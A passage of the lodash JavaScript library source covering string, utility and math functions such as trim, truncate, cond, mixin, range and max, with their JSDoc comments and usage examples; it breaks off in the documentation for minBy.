function trim(string, chars, guard) {
string = toString(string);
if (string && (guard || chars === undefined)) {
return baseTrim(string);
}
if (!string || !(chars = baseToString(chars))) {
return string;
}
var strSymbols = stringToArray(string),
chrSymbols = stringToArray(chars),
start = charsStartIndex(strSymbols, chrSymbols),
end = charsEndIndex(strSymbols, chrSymbols) + 1;
return castSlice(strSymbols, start, end).join('');
}
/**
* Removes trailing whitespace or specified characters from `string`.
*
* @static
* @memberOf _
* @since 4.0.0
* @category String
* @param {string} [string=''] The string to trim.
* @param {string} [chars=whitespace] The characters to trim.
* @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
* @returns {string} Returns the trimmed string.
* @example
*
* _.trimEnd(' abc ');
* // => ' abc'
*
* _.trimEnd('-_-abc-_-', '_-');
* // => '-_-abc'
*/
function trimEnd(string, chars, guard) {
string = toString(string);
if (string && (guard || chars === undefined)) {
return string.slice(0, trimmedEndIndex(string) + 1);
}
if (!string || !(chars = baseToString(chars))) {
return string;
}
var strSymbols = stringToArray(string),
end = charsEndIndex(strSymbols, stringToArray(chars)) + 1;
return castSlice(strSymbols, 0, end).join('');
}
/**
* Removes leading whitespace or specified characters from `string`.
*
* @static
* @memberOf _
* @since 4.0.0
* @category String
* @param {string} [string=''] The string to trim.
* @param {string} [chars=whitespace] The characters to trim.
* @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
* @returns {string} Returns the trimmed string.
* @example
*
* _.trimStart(' abc ');
* // => 'abc '
*
* _.trimStart('-_-abc-_-', '_-');
* // => 'abc-_-'
*/
function trimStart(string, chars, guard) {
string = toString(string);
if (string && (guard || chars === undefined)) {
return string.replace(reTrimStart, '');
}
if (!string || !(chars = baseToString(chars))) {
return string;
}
var strSymbols = stringToArray(string),
start = charsStartIndex(strSymbols, stringToArray(chars));
return castSlice(strSymbols, start).join('');
}
/**
* Truncates `string` if it's longer than the given maximum string length.
* The last characters of the truncated string are replaced with the omission
* string which defaults to "...".
*
* @static
* @memberOf _
* @since 4.0.0
* @category String
* @param {string} [string=''] The string to truncate.
* @param {Object} [options={}] The options object.
* @param {number} [options.length=30] The maximum string length.
* @param {string} [options.omission='...'] The string to indicate text is omitted.
* @param {RegExp|string} [options.separator] The separator pattern to truncate to.
* @returns {string} Returns the truncated string.
* @example
*
* _.truncate('hi-diddly-ho there, neighborino');
* // => 'hi-diddly-ho there, neighbo...'
*
* _.truncate('hi-diddly-ho there, neighborino', {
* 'length': 24,
* 'separator': ' '
* });
* // => 'hi-diddly-ho there,...'
*
* _.truncate('hi-diddly-ho there, neighborino', {
* 'length': 24,
* 'separator': /,? +/
* });
* // => 'hi-diddly-ho there...'
*
* _.truncate('hi-diddly-ho there, neighborino', {
* 'omission': ' [...]'
* });
* // => 'hi-diddly-ho there, neig [...]'
*/
function truncate(string, options) {
var length = DEFAULT_TRUNC_LENGTH,
omission = DEFAULT_TRUNC_OMISSION;
if (isObject(options)) {
var separator = 'separator' in options ? options.separator : separator;
length = 'length' in options ? toInteger(options.length) : length;
omission = 'omission' in options ? baseToString(options.omission) : omission;
}
string = toString(string);
var strLength = string.length;
if (hasUnicode(string)) {
var strSymbols = stringToArray(string);
strLength = strSymbols.length;
}
if (length >= strLength) {
return string;
}
var end = length - stringSize(omission);
if (end < 1) {
return omission;
}
var result = strSymbols
? castSlice(strSymbols, 0, end).join('')
: string.slice(0, end);
if (separator === undefined) {
return result + omission;
}
if (strSymbols) {
end += (result.length - end);
}
if (isRegExp(separator)) {
if (string.slice(end).search(separator)) {
var match,
substring = result;
if (!separator.global) {
separator = RegExp(separator.source, toString(reFlags.exec(separator)) + 'g');
}
separator.lastIndex = 0;
while ((match = separator.exec(substring))) {
var newEnd = match.index;
}
result = result.slice(0, newEnd === undefined ? end : newEnd);
}
} else if (string.indexOf(baseToString(separator), end) != end) {
var index = result.lastIndexOf(separator);
if (index > -1) {
result = result.slice(0, index);
}
}
return result + omission;
}
/**
* The inverse of `_.escape`; this method converts the HTML entities
* `&`, `<`, `>`, `"`, and `'` in `string` to
* their corresponding characters.
*
* **Note:** No other HTML entities are unescaped. To unescape additional
* HTML entities use a third-party library like [_he_](https://mths.be/he).
*
* @static
* @memberOf _
* @since 0.6.0
* @category String
* @param {string} [string=''] The string to unescape.
* @returns {string} Returns the unescaped string.
* @example
*
* _.unescape('fred, barney, & pebbles');
* // => 'fred, barney, & pebbles'
*/
function unescape(string) {
string = toString(string);
return (string && reHasEscapedHtml.test(string))
? string.replace(reEscapedHtml, unescapeHtmlChar)
: string;
}
/**
* Converts `string`, as space separated words, to upper case.
*
* @static
* @memberOf _
* @since 4.0.0
* @category String
* @param {string} [string=''] The string to convert.
* @returns {string} Returns the upper cased string.
* @example
*
* _.upperCase('--foo-bar');
* // => 'FOO BAR'
*
* _.upperCase('fooBar');
* // => 'FOO BAR'
*
* _.upperCase('__foo_bar__');
* // => 'FOO BAR'
*/
var upperCase = createCompounder(function(result, word, index) {
return result + (index ? ' ' : '') + word.toUpperCase();
});
/**
* Converts the first character of `string` to upper case.
*
* @static
* @memberOf _
* @since 4.0.0
* @category String
* @param {string} [string=''] The string to convert.
* @returns {string} Returns the converted string.
* @example
*
* _.upperFirst('fred');
* // => 'Fred'
*
* _.upperFirst('FRED');
* // => 'FRED'
*/
var upperFirst = createCaseFirst('toUpperCase');
/**
* Splits `string` into an array of its words.
*
* @static
* @memberOf _
* @since 3.0.0
* @category String
* @param {string} [string=''] The string to inspect.
* @param {RegExp|string} [pattern] The pattern to match words.
* @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
* @returns {Array} Returns the words of `string`.
* @example
*
* _.words('fred, barney, & pebbles');
* // => ['fred', 'barney', 'pebbles']
*
* _.words('fred, barney, & pebbles', /[^, ]+/g);
* // => ['fred', 'barney', '&', 'pebbles']
*/
function words(string, pattern, guard) {
string = toString(string);
pattern = guard ? undefined : pattern;
if (pattern === undefined) {
return hasUnicodeWord(string) ? unicodeWords(string) : asciiWords(string);
}
return string.match(pattern) || [];
}
/*------------------------------------------------------------------------*/
/**
* Attempts to invoke `func`, returning either the result or the caught error
* object. Any additional arguments are provided to `func` when it's invoked.
*
* @static
* @memberOf _
* @since 3.0.0
* @category Util
* @param {Function} func The function to attempt.
* @param {...*} [args] The arguments to invoke `func` with.
* @returns {*} Returns the `func` result or error object.
* @example
*
* // Avoid throwing errors for invalid selectors.
* var elements = _.attempt(function(selector) {
* return document.querySelectorAll(selector);
* }, '>_>');
*
* if (_.isError(elements)) {
* elements = [];
* }
*/
var attempt = baseRest(function(func, args) {
try {
return apply(func, undefined, args);
} catch (e) {
return isError(e) ? e : new Error(e);
}
});
/**
* Binds methods of an object to the object itself, overwriting the existing
* method.
*
* **Note:** This method doesn't set the "length" property of bound functions.
*
* @static
* @since 0.1.0
* @memberOf _
* @category Util
* @param {Object} object The object to bind and assign the bound methods to.
* @param {...(string|string[])} methodNames The object method names to bind.
* @returns {Object} Returns `object`.
* @example
*
* var view = {
* 'label': 'docs',
* 'click': function() {
* console.log('clicked ' + this.label);
* }
* };
*
* _.bindAll(view, ['click']);
* jQuery(element).on('click', view.click);
* // => Logs 'clicked docs' when clicked.
*/
var bindAll = flatRest(function(object, methodNames) {
arrayEach(methodNames, function(key) {
key = toKey(key);
baseAssignValue(object, key, bind(object[key], object));
});
return object;
});
/**
* Creates a function that iterates over `pairs` and invokes the corresponding
* function of the first predicate to return truthy. The predicate-function
* pairs are invoked with the `this` binding and arguments of the created
* function.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Util
* @param {Array} pairs The predicate-function pairs.
* @returns {Function} Returns the new composite function.
* @example
*
* var func = _.cond([
* [_.matches({ 'a': 1 }), _.constant('matches A')],
* [_.conforms({ 'b': _.isNumber }), _.constant('matches B')],
* [_.stubTrue, _.constant('no match')]
* ]);
*
* func({ 'a': 1, 'b': 2 });
* // => 'matches A'
*
* func({ 'a': 0, 'b': 1 });
* // => 'matches B'
*
* func({ 'a': '1', 'b': '2' });
* // => 'no match'
*/
function cond(pairs) {
var length = pairs == null ? 0 : pairs.length,
toIteratee = getIteratee();
pairs = !length ? [] : arrayMap(pairs, function(pair) {
if (typeof pair[1] != 'function') {
throw new TypeError(FUNC_ERROR_TEXT);
}
return [toIteratee(pair[0]), pair[1]];
});
return baseRest(function(args) {
var index = -1;
while (++index < length) {
var pair = pairs[index];
if (apply(pair[0], this, args)) {
return apply(pair[1], this, args);
}
}
});
}
/**
* Creates a function that invokes the predicate properties of `source` with
* the corresponding property values of a given object, returning `true` if
* all predicates return truthy, else `false`.
*
* **Note:** The created function is equivalent to `_.conformsTo` with
* `source` partially applied.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Util
* @param {Object} source The object of property predicates to conform to.
* @returns {Function} Returns the new spec function.
* @example
*
* var objects = [
* { 'a': 2, 'b': 1 },
* { 'a': 1, 'b': 2 }
* ];
*
* _.filter(objects, _.conforms({ 'b': function(n) { return n > 1; } }));
* // => [{ 'a': 1, 'b': 2 }]
*/
function conforms(source) {
return baseConforms(baseClone(source, CLONE_DEEP_FLAG));
}
/**
* Creates a function that returns `value`.
*
* @static
* @memberOf _
* @since 2.4.0
* @category Util
* @param {*} value The value to return from the new function.
* @returns {Function} Returns the new constant function.
* @example
*
* var objects = _.times(2, _.constant({ 'a': 1 }));
*
* console.log(objects);
* // => [{ 'a': 1 }, { 'a': 1 }]
*
* console.log(objects[0] === objects[1]);
* // => true
*/
function constant(value) {
return function() {
return value;
};
}
/**
* Checks `value` to determine whether a default value should be returned in
* its place. The `defaultValue` is returned if `value` is `NaN`, `null`,
* or `undefined`.
*
* @static
* @memberOf _
* @since 4.14.0
* @category Util
* @param {*} value The value to check.
* @param {*} defaultValue The default value.
* @returns {*} Returns the resolved value.
* @example
*
* _.defaultTo(1, 10);
* // => 1
*
* _.defaultTo(undefined, 10);
* // => 10
*/
function defaultTo(value, defaultValue) {
return (value == null || value !== value) ? defaultValue : value;
}
/**
* Creates a function that returns the result of invoking the given functions
* with the `this` binding of the created function, where each successive
* invocation is supplied the return value of the previous.
*
* @static
* @memberOf _
* @since 3.0.0
* @category Util
* @param {...(Function|Function[])} [funcs] The functions to invoke.
* @returns {Function} Returns the new composite function.
* @see _.flowRight
* @example
*
* function square(n) {
* return n * n;
* }
*
* var addSquare = _.flow([_.add, square]);
* addSquare(1, 2);
* // => 9
*/
var flow = createFlow();
/**
* This method is like `_.flow` except that it creates a function that
* invokes the given functions from right to left.
*
* @static
* @since 3.0.0
* @memberOf _
* @category Util
* @param {...(Function|Function[])} [funcs] The functions to invoke.
* @returns {Function} Returns the new composite function.
* @see _.flow
* @example
*
* function square(n) {
* return n * n;
* }
*
* var addSquare = _.flowRight([square, _.add]);
* addSquare(1, 2);
* // => 9
*/
var flowRight = createFlow(true);
/**
* This method returns the first argument it receives.
*
* @static
* @since 0.1.0
* @memberOf _
* @category Util
* @param {*} value Any value.
* @returns {*} Returns `value`.
* @example
*
* var object = { 'a': 1 };
*
* console.log(_.identity(object) === object);
* // => true
*/
function identity(value) {
return value;
}
/**
* Creates a function that invokes `func` with the arguments of the created
* function. If `func` is a property name, the created function returns the
* property value for a given element. If `func` is an array or object, the
* created function returns `true` for elements that contain the equivalent
* source properties, otherwise it returns `false`.
*
* @static
* @since 4.0.0
* @memberOf _
* @category Util
* @param {*} [func=_.identity] The value to convert to a callback.
* @returns {Function} Returns the callback.
* @example
*
* var users = [
* { 'user': 'barney', 'age': 36, 'active': true },
* { 'user': 'fred', 'age': 40, 'active': false }
* ];
*
* // The `_.matches` iteratee shorthand.
* _.filter(users, _.iteratee({ 'user': 'barney', 'active': true }));
* // => [{ 'user': 'barney', 'age': 36, 'active': true }]
*
* // The `_.matchesProperty` iteratee shorthand.
* _.filter(users, _.iteratee(['user', 'fred']));
* // => [{ 'user': 'fred', 'age': 40 }]
*
* // The `_.property` iteratee shorthand.
* _.map(users, _.iteratee('user'));
* // => ['barney', 'fred']
*
* // Create custom iteratee shorthands.
* _.iteratee = _.wrap(_.iteratee, function(iteratee, func) {
* return !_.isRegExp(func) ? iteratee(func) : function(string) {
* return func.test(string);
* };
* });
*
* _.filter(['abc', 'def'], /ef/);
* // => ['def']
*/
function iteratee(func) {
return baseIteratee(typeof func == 'function' ? func : baseClone(func, CLONE_DEEP_FLAG));
}
/**
* Creates a function that performs a partial deep comparison between a given
* object and `source`, returning `true` if the given object has equivalent
* property values, else `false`.
*
* **Note:** The created function is equivalent to `_.isMatch` with `source`
* partially applied.
*
* Partial comparisons will match empty array and empty object `source`
* values against any array or object value, respectively. See `_.isEqual`
* for a list of supported value comparisons.
*
* **Note:** Multiple values can be checked by combining several matchers
* using `_.overSome`
*
* @static
* @memberOf _
* @since 3.0.0
* @category Util
* @param {Object} source The object of property values to match.
* @returns {Function} Returns the new spec function.
* @example
*
* var objects = [
* { 'a': 1, 'b': 2, 'c': 3 },
* { 'a': 4, 'b': 5, 'c': 6 }
* ];
*
* _.filter(objects, _.matches({ 'a': 4, 'c': 6 }));
* // => [{ 'a': 4, 'b': 5, 'c': 6 }]
*
* // Checking for several possible values
* _.filter(objects, _.overSome([_.matches({ 'a': 1 }), _.matches({ 'a': 4 })]));
* // => [{ 'a': 1, 'b': 2, 'c': 3 }, { 'a': 4, 'b': 5, 'c': 6 }]
*/
function matches(source) {
return baseMatches(baseClone(source, CLONE_DEEP_FLAG));
}
/**
* Creates a function that performs a partial deep comparison between the
* value at `path` of a given object to `srcValue`, returning `true` if the
* object value is equivalent, else `false`.
*
* **Note:** Partial comparisons will match empty array and empty object
* `srcValue` values against any array or object value, respectively. See
* `_.isEqual` for a list of supported value comparisons.
*
* **Note:** Multiple values can be checked by combining several matchers
* using `_.overSome`
*
* @static
* @memberOf _
* @since 3.2.0
* @category Util
* @param {Array|string} path The path of the property to get.
* @param {*} srcValue The value to match.
* @returns {Function} Returns the new spec function.
* @example
*
* var objects = [
* { 'a': 1, 'b': 2, 'c': 3 },
* { 'a': 4, 'b': 5, 'c': 6 }
* ];
*
* _.find(objects, _.matchesProperty('a', 4));
* // => { 'a': 4, 'b': 5, 'c': 6 }
*
* // Checking for several possible values
* _.filter(objects, _.overSome([_.matchesProperty('a', 1), _.matchesProperty('a', 4)]));
* // => [{ 'a': 1, 'b': 2, 'c': 3 }, { 'a': 4, 'b': 5, 'c': 6 }]
*/
function matchesProperty(path, srcValue) {
return baseMatchesProperty(path, baseClone(srcValue, CLONE_DEEP_FLAG));
}
/**
* Creates a function that invokes the method at `path` of a given object.
* Any additional arguments are provided to the invoked method.
*
* @static
* @memberOf _
* @since 3.7.0
* @category Util
* @param {Array|string} path The path of the method to invoke.
* @param {...*} [args] The arguments to invoke the method with.
* @returns {Function} Returns the new invoker function.
* @example
*
* var objects = [
* { 'a': { 'b': _.constant(2) } },
* { 'a': { 'b': _.constant(1) } }
* ];
*
* _.map(objects, _.method('a.b'));
* // => [2, 1]
*
* _.map(objects, _.method(['a', 'b']));
* // => [2, 1]
*/
var method = baseRest(function(path, args) {
return function(object) {
return baseInvoke(object, path, args);
};
});
/**
* The opposite of `_.method`; this method creates a function that invokes
* the method at a given path of `object`. Any additional arguments are
* provided to the invoked method.
*
* @static
* @memberOf _
* @since 3.7.0
* @category Util
* @param {Object} object The object to query.
* @param {...*} [args] The arguments to invoke the method with.
* @returns {Function} Returns the new invoker function.
* @example
*
* var array = _.times(3, _.constant),
* object = { 'a': array, 'b': array, 'c': array };
*
* _.map(['a[2]', 'c[0]'], _.methodOf(object));
* // => [2, 0]
*
* _.map([['a', '2'], ['c', '0']], _.methodOf(object));
* // => [2, 0]
*/
var methodOf = baseRest(function(object, args) {
return function(path) {
return baseInvoke(object, path, args);
};
});
/**
* Adds all own enumerable string keyed function properties of a source
* object to the destination object. If `object` is a function, then methods
* are added to its prototype as well.
*
* **Note:** Use `_.runInContext` to create a pristine `lodash` function to
* avoid conflicts caused by modifying the original.
*
* @static
* @since 0.1.0
* @memberOf _
* @category Util
* @param {Function|Object} [object=lodash] The destination object.
* @param {Object} source The object of functions to add.
* @param {Object} [options={}] The options object.
* @param {boolean} [options.chain=true] Specify whether mixins are chainable.
* @returns {Function|Object} Returns `object`.
* @example
*
* function vowels(string) {
* return _.filter(string, function(v) {
* return /[aeiou]/i.test(v);
* });
* }
*
* _.mixin({ 'vowels': vowels });
* _.vowels('fred');
* // => ['e']
*
* _('fred').vowels().value();
* // => ['e']
*
* _.mixin({ 'vowels': vowels }, { 'chain': false });
* _('fred').vowels();
* // => ['e']
*/
function mixin(object, source, options) {
var props = keys(source),
methodNames = baseFunctions(source, props);
if (options == null &&
!(isObject(source) && (methodNames.length || !props.length))) {
options = source;
source = object;
object = this;
methodNames = baseFunctions(source, keys(source));
}
var chain = !(isObject(options) && 'chain' in options) || !!options.chain,
isFunc = isFunction(object);
arrayEach(methodNames, function(methodName) {
var func = source[methodName];
object[methodName] = func;
if (isFunc) {
object.prototype[methodName] = function() {
var chainAll = this.__chain__;
if (chain || chainAll) {
var result = object(this.__wrapped__),
actions = result.__actions__ = copyArray(this.__actions__);
actions.push({ 'func': func, 'args': arguments, 'thisArg': object });
result.__chain__ = chainAll;
return result;
}
return func.apply(object, arrayPush([this.value()], arguments));
};
}
});
return object;
}
/**
* Reverts the `_` variable to its previous value and returns a reference to
* the `lodash` function.
*
* @static
* @since 0.1.0
* @memberOf _
* @category Util
* @returns {Function} Returns the `lodash` function.
* @example
*
* var lodash = _.noConflict();
*/
function noConflict() {
if (root._ === this) {
root._ = oldDash;
}
return this;
}
/**
* This method returns `undefined`.
*
* @static
* @memberOf _
* @since 2.3.0
* @category Util
* @example
*
* _.times(2, _.noop);
* // => [undefined, undefined]
*/
function noop() {
// No operation performed.
}
/**
* Creates a function that gets the argument at index `n`. If `n` is negative,
* the nth argument from the end is returned.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Util
* @param {number} [n=0] The index of the argument to return.
* @returns {Function} Returns the new pass-thru function.
* @example
*
* var func = _.nthArg(1);
* func('a', 'b', 'c', 'd');
* // => 'b'
*
* var func = _.nthArg(-2);
* func('a', 'b', 'c', 'd');
* // => 'c'
*/
function nthArg(n) {
n = toInteger(n);
return baseRest(function(args) {
return baseNth(args, n);
});
}
/**
* Creates a function that invokes `iteratees` with the arguments it receives
* and returns their results.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Util
* @param {...(Function|Function[])} [iteratees=[_.identity]]
* The iteratees to invoke.
* @returns {Function} Returns the new function.
* @example
*
* var func = _.over([Math.max, Math.min]);
*
* func(1, 2, 3, 4);
* // => [4, 1]
*/
var over = createOver(arrayMap);
/**
* Creates a function that checks if **all** of the `predicates` return
* truthy when invoked with the arguments it receives.
*
* Following shorthands are possible for providing predicates.
* Pass an `Object` and it will be used as an parameter for `_.matches` to create the predicate.
* Pass an `Array` of parameters for `_.matchesProperty` and the predicate will be created using them.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Util
* @param {...(Function|Function[])} [predicates=[_.identity]]
* The predicates to check.
* @returns {Function} Returns the new function.
* @example
*
* var func = _.overEvery([Boolean, isFinite]);
*
* func('1');
* // => true
*
* func(null);
* // => false
*
* func(NaN);
* // => false
*/
var overEvery = createOver(arrayEvery);
/**
* Creates a function that checks if **any** of the `predicates` return
* truthy when invoked with the arguments it receives.
*
* Following shorthands are possible for providing predicates.
* Pass an `Object` and it will be used as an parameter for `_.matches` to create the predicate.
* Pass an `Array` of parameters for `_.matchesProperty` and the predicate will be created using them.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Util
* @param {...(Function|Function[])} [predicates=[_.identity]]
* The predicates to check.
* @returns {Function} Returns the new function.
* @example
*
* var func = _.overSome([Boolean, isFinite]);
*
* func('1');
* // => true
*
* func(null);
* // => true
*
* func(NaN);
* // => false
*
* var matchesFunc = _.overSome([{ 'a': 1 }, { 'a': 2 }])
* var matchesPropertyFunc = _.overSome([['a', 1], ['a', 2]])
*/
var overSome = createOver(arraySome);
/**
* Creates a function that returns the value at `path` of a given object.
*
* @static
* @memberOf _
* @since 2.4.0
* @category Util
* @param {Array|string} path The path of the property to get.
* @returns {Function} Returns the new accessor function.
* @example
*
* var objects = [
* { 'a': { 'b': 2 } },
* { 'a': { 'b': 1 } }
* ];
*
* _.map(objects, _.property('a.b'));
* // => [2, 1]
*
* _.map(_.sortBy(objects, _.property(['a', 'b'])), 'a.b');
* // => [1, 2]
*/
function property(path) {
return isKey(path) ? baseProperty(toKey(path)) : basePropertyDeep(path);
}
/**
* The opposite of `_.property`; this method creates a function that returns
* the value at a given path of `object`.
*
* @static
* @memberOf _
* @since 3.0.0
* @category Util
* @param {Object} object The object to query.
* @returns {Function} Returns the new accessor function.
* @example
*
* var array = [0, 1, 2],
* object = { 'a': array, 'b': array, 'c': array };
*
* _.map(['a[2]', 'c[0]'], _.propertyOf(object));
* // => [2, 0]
*
* _.map([['a', '2'], ['c', '0']], _.propertyOf(object));
* // => [2, 0]
*/
function propertyOf(object) {
return function(path) {
return object == null ? undefined : baseGet(object, path);
};
}
/**
* Creates an array of numbers (positive and/or negative) progressing from
* `start` up to, but not including, `end`. A step of `-1` is used if a negative
* `start` is specified without an `end` or `step`. If `end` is not specified,
* it's set to `start` with `start` then set to `0`.
*
* **Note:** JavaScript follows the IEEE-754 standard for resolving
* floating-point values which can produce unexpected results.
*
* @static
* @since 0.1.0
* @memberOf _
* @category Util
* @param {number} [start=0] The start of the range.
* @param {number} end The end of the range.
* @param {number} [step=1] The value to increment or decrement by.
* @returns {Array} Returns the range of numbers.
* @see _.inRange, _.rangeRight
* @example
*
* _.range(4);
* // => [0, 1, 2, 3]
*
* _.range(-4);
* // => [0, -1, -2, -3]
*
* _.range(1, 5);
* // => [1, 2, 3, 4]
*
* _.range(0, 20, 5);
* // => [0, 5, 10, 15]
*
* _.range(0, -4, -1);
* // => [0, -1, -2, -3]
*
* _.range(1, 4, 0);
* // => [1, 1, 1]
*
* _.range(0);
* // => []
*/
var range = createRange();
/**
* This method is like `_.range` except that it populates values in
* descending order.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Util
* @param {number} [start=0] The start of the range.
* @param {number} end The end of the range.
* @param {number} [step=1] The value to increment or decrement by.
* @returns {Array} Returns the range of numbers.
* @see _.inRange, _.range
* @example
*
* _.rangeRight(4);
* // => [3, 2, 1, 0]
*
* _.rangeRight(-4);
* // => [-3, -2, -1, 0]
*
* _.rangeRight(1, 5);
* // => [4, 3, 2, 1]
*
* _.rangeRight(0, 20, 5);
* // => [15, 10, 5, 0]
*
* _.rangeRight(0, -4, -1);
* // => [-3, -2, -1, 0]
*
* _.rangeRight(1, 4, 0);
* // => [1, 1, 1]
*
* _.rangeRight(0);
* // => []
*/
var rangeRight = createRange(true);
/**
* This method returns a new empty array.
*
* @static
* @memberOf _
* @since 4.13.0
* @category Util
* @returns {Array} Returns the new empty array.
* @example
*
* var arrays = _.times(2, _.stubArray);
*
* console.log(arrays);
* // => [[], []]
*
* console.log(arrays[0] === arrays[1]);
* // => false
*/
function stubArray() {
return [];
}
/**
* This method returns `false`.
*
* @static
* @memberOf _
* @since 4.13.0
* @category Util
* @returns {boolean} Returns `false`.
* @example
*
* _.times(2, _.stubFalse);
* // => [false, false]
*/
function stubFalse() {
return false;
}
/**
* This method returns a new empty object.
*
* @static
* @memberOf _
* @since 4.13.0
* @category Util
* @returns {Object} Returns the new empty object.
* @example
*
* var objects = _.times(2, _.stubObject);
*
* console.log(objects);
* // => [{}, {}]
*
* console.log(objects[0] === objects[1]);
* // => false
*/
function stubObject() {
return {};
}
/**
* This method returns an empty string.
*
* @static
* @memberOf _
* @since 4.13.0
* @category Util
* @returns {string} Returns the empty string.
* @example
*
* _.times(2, _.stubString);
* // => ['', '']
*/
function stubString() {
return '';
}
/**
* This method returns `true`.
*
* @static
* @memberOf _
* @since 4.13.0
* @category Util
* @returns {boolean} Returns `true`.
* @example
*
* _.times(2, _.stubTrue);
* // => [true, true]
*/
function stubTrue() {
return true;
}
/**
* Invokes the iteratee `n` times, returning an array of the results of
* each invocation. The iteratee is invoked with one argument; (index).
*
* @static
* @since 0.1.0
* @memberOf _
* @category Util
* @param {number} n The number of times to invoke `iteratee`.
* @param {Function} [iteratee=_.identity] The function invoked per iteration.
* @returns {Array} Returns the array of results.
* @example
*
* _.times(3, String);
* // => ['0', '1', '2']
*
* _.times(4, _.constant(0));
* // => [0, 0, 0, 0]
*/
function times(n, iteratee) {
n = toInteger(n);
if (n < 1 || n > MAX_SAFE_INTEGER) {
return [];
}
var index = MAX_ARRAY_LENGTH,
length = nativeMin(n, MAX_ARRAY_LENGTH);
iteratee = getIteratee(iteratee);
n -= MAX_ARRAY_LENGTH;
var result = baseTimes(length, iteratee);
while (++index < n) {
iteratee(index);
}
return result;
}
/**
* Converts `value` to a property path array.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Util
* @param {*} value The value to convert.
* @returns {Array} Returns the new property path array.
* @example
*
* _.toPath('a.b.c');
* // => ['a', 'b', 'c']
*
* _.toPath('a[0].b.c');
* // => ['a', '0', 'b', 'c']
*/
function toPath(value) {
if (isArray(value)) {
return arrayMap(value, toKey);
}
return isSymbol(value) ? [value] : copyArray(stringToPath(toString(value)));
}
/**
* Generates a unique ID. If `prefix` is given, the ID is appended to it.
*
* @static
* @since 0.1.0
* @memberOf _
* @category Util
* @param {string} [prefix=''] The value to prefix the ID with.
* @returns {string} Returns the unique ID.
* @example
*
* _.uniqueId('contact_');
* // => 'contact_104'
*
* _.uniqueId();
* // => '105'
*/
function uniqueId(prefix) {
var id = ++idCounter;
return toString(prefix) + id;
}
/*------------------------------------------------------------------------*/
/**
* Adds two numbers.
*
* @static
* @memberOf _
* @since 3.4.0
* @category Math
* @param {number} augend The first number in an addition.
* @param {number} addend The second number in an addition.
* @returns {number} Returns the total.
* @example
*
* _.add(6, 4);
* // => 10
*/
var add = createMathOperation(function(augend, addend) {
return augend + addend;
}, 0);
/**
* Computes `number` rounded up to `precision`.
*
* @static
* @memberOf _
* @since 3.10.0
* @category Math
* @param {number} number The number to round up.
* @param {number} [precision=0] The precision to round up to.
* @returns {number} Returns the rounded up number.
* @example
*
* _.ceil(4.006);
* // => 5
*
* _.ceil(6.004, 2);
* // => 6.01
*
* _.ceil(6040, -2);
* // => 6100
*/
var ceil = createRound('ceil');
/**
* Divide two numbers.
*
* @static
* @memberOf _
* @since 4.7.0
* @category Math
* @param {number} dividend The first number in a division.
* @param {number} divisor The second number in a division.
* @returns {number} Returns the quotient.
* @example
*
* _.divide(6, 4);
* // => 1.5
*/
var divide = createMathOperation(function(dividend, divisor) {
return dividend / divisor;
}, 1);
/**
* Computes `number` rounded down to `precision`.
*
* @static
* @memberOf _
* @since 3.10.0
* @category Math
* @param {number} number The number to round down.
* @param {number} [precision=0] The precision to round down to.
* @returns {number} Returns the rounded down number.
* @example
*
* _.floor(4.006);
* // => 4
*
* _.floor(0.046, 2);
* // => 0.04
*
* _.floor(4060, -2);
* // => 4000
*/
var floor = createRound('floor');
/**
* Computes the maximum value of `array`. If `array` is empty or falsey,
* `undefined` is returned.
*
* @static
* @since 0.1.0
* @memberOf _
* @category Math
* @param {Array} array The array to iterate over.
* @returns {*} Returns the maximum value.
* @example
*
* _.max([4, 2, 8, 6]);
* // => 8
*
* _.max([]);
* // => undefined
*/
function max(array) {
return (array && array.length)
? baseExtremum(array, identity, baseGt)
: undefined;
}
/**
* This method is like `_.max` except that it accepts `iteratee` which is
* invoked for each element in `array` to generate the criterion by which
* the value is ranked. The iteratee is invoked with one argument: (value).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Math
* @param {Array} array The array to iterate over.
* @param {Function} [iteratee=_.identity] The iteratee invoked per element.
* @returns {*} Returns the maximum value.
* @example
*
* var objects = [{ 'n': 1 }, { 'n': 2 }];
*
* _.maxBy(objects, function(o) { return o.n; });
* // => { 'n': 2 }
*
* // The `_.property` iteratee shorthand.
* _.maxBy(objects, 'n');
* // => { 'n': 2 }
*/
function maxBy(array, iteratee) {
return (array && array.length)
? baseExtremum(array, getIteratee(iteratee, 2), baseGt)
: undefined;
}
/**
* Computes the mean of the values in `array`.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Math
* @param {Array} array The array to iterate over.
* @returns {number} Returns the mean.
* @example
*
* _.mean([4, 2, 8, 6]);
* // => 5
*/
function mean(array) {
return baseMean(array, identity);
}
/**
* This method is like `_.mean` except that it accepts `iteratee` which is
* invoked for each element in `array` to generate the value to be averaged.
* The iteratee is invoked with one argument: (value).
*
* @static
* @memberOf _
* @since 4.7.0
* @category Math
* @param {Array} array The array to iterate over.
* @param {Function} [iteratee=_.identity] The iteratee invoked per element.
* @returns {number} Returns the mean.
* @example
*
* var objects = [{ 'n': 4 }, { 'n': 2 }, { 'n': 8 }, { 'n': 6 }];
*
* _.meanBy(objects, function(o) { return o.n; });
* // => 5
*
* // The `_.property` iteratee shorthand.
* _.meanBy(objects, 'n');
* // => 5
*/
function meanBy(array, iteratee) {
return baseMean(array, getIteratee(iteratee, 2));
}
/**
* Computes the minimum value of `array`. If `array` is empty or falsey,
* `undefined` is returned.
*
* @static
* @since 0.1.0
* @memberOf _
* @category Math
* @param {Array} array The array to iterate over.
* @returns {*} Returns the minimum value.
* @example
*
* _.min([4, 2, 8, 6]);
* // => 2
*
* _.min([]);
* // => undefined
*/
function min(array) {
return (array && array.length)
? baseExtremum(array, identity, baseLt)
: undefined;
}
/**
* This method is like `_.min` except that it accepts `iteratee` which is
* invoked for each element in `array` to generate the criterion by which
* the value is ranked. The iteratee is invoked with one argument: (value).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Math
* @param {Array} array The array to iterate over.
* @param {Function} [iteratee=_.identity] The iteratee invoked per element.
